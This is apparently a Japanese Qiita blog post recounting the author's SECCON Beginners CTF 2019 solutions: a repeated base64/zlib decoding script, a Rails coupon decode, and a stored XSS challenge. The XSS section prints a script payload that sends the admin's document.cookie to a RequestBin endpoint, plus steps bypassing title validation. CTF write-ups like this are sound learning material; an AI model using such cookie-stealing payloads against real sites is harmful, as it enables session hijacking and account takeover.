LoginSignup
3
1

More than 3 years have passed since last update.

SECCON beginners CTF 2019参加してみたよ

Last updated at Posted at 2019-05-26

友達のお誘いでSECCON beginners 2019をやってみました。
全然できなかったけど、楽しかったね🌟

[warmup] So Tired

encripted.txtをみてみるとbase64が、それをbase64でデコードしてみるとzlibファイルが出てくる。解凍してみるとまたbase64が。

色々察したので、こんなシェルスクリプトを書いて

cp a.txt b.txt
for i in `seq 0 100`
do
  base64 -D a.txt > a.zip
  zlib_decompress a.zip a.txt
done

何回か繰り返してエラー履いたら(base64じゃ無くなったら)あとは手動で微調整。そしたらフラグ出てきた。私の初フラグ。

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

katsudon

Railsのmessage verifierについて調べてみるとこんな記事が
RailsのMessage Verifiersは何をしているのか

クーポンの--前半部分がデータらしいので、とりあえずbase64デコードしてみることに。そしたらなんとフラグが。簡単スギィ!

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

...って思ったら出題ミスみたいですね

himitsu

「書いたページを管理者に読んでもらう」という構造上XSSなのは間違いなさそう。twigというテンプレートエンジンを使っているが自動でエスケープしてしまうが、articleのbodyのみrawが入っているのでここに注目した。bodyはhtmlspecialcharsを通しているので、そのままではXSSできない。唯一htmlspecialcharsの後から埋め込まれる他の記事のタイトルを埋め込む部分にスクリプトを埋め込むことを試してみた。

しかし、記事を作成する時点で、参照する記事のタイトルに<>'"が含まれているとエラーになってしまう。最初は<>'"を使わないXSSの手法を模索したがうまく行かず。そこで、記事を作成する時点でバリデーションが行われることに注目した。つまり、記事を作成した時点でタイトルに<>'"が含まれていなくても、後からタイトルを変更すれば良いということだ。ということで以下の手順で解決

  1. スクリプトを含むタイトルとusername, 2分後くらいの時間からmd5コードを生成
  2. 新しいarticleで1.で作ったmd5を[##]で囲って入れる
  3. もう一つ新しいarticleを作成。タイトルは1.のスクリプト、生成時間は1.で指定したもの。
  4. 「秘密を共有する」でadminにスクリプトを実行させる
  5. cookieが取得できたらそれ利用してログインする。article一覧の記事にflagがあるはず
埋め込むスクリプト
<script>var xhr = new XMLHttpRequest();xhr.open('post', 'https://requestbin.fullcontact.com/{id}');xhr.send(document.cookie);</script>

RequestBinなるものを知らず、チームメイトに教えてもらった。こりゃ便利ね。

ということで解決しました

ctf4b{simple_xss_just_do_it_haha_haha}

adminでは記事を作成できないようになっていたはずなのですが、あとでサイトを訪れたらadminで記事を作成している猛者がいらっしゃいましたね。

まとめ

自分の興味的にWeb問題に強くなろうと決意しました。なので、最初のsql injectionの問題が解けなかったのが残念でしょうがない。

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1